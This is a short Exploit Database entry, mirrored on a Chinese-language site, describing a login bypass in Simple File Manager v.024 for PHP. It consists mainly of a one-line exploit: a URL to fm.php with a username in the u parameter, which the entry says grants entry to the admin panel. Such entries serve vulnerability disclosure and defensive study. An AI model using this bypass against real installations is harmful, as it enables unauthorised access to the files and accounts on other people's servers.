Simple File Manager 024 – Authentication Bypass

• Exploit Database
• 12 阅读

• 作者： Chako
  日期： 2013-06-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/26246/

• # Exploit Title: Simple File Manager v.024 Login Bypass Vulnerability
  # Date Published: 2013/6/17
  # Exploit Author: Chako
  # Software Link: http://onedotoh.sourceforge.net/
  # Version: v.024 (Doesn't work on v.025)
  
  
  Description:
  =====================
  A vulnerability has been identified in Simple File Manager v.024, which could be exploited 
  by attackers to bypass security restrictions into admin panel.
  
  
  Exploit:
  =====================
  An attacker can exploit this issue using a browser.
  
  
  http://www.target_example.com/fm.php?u=[UserName]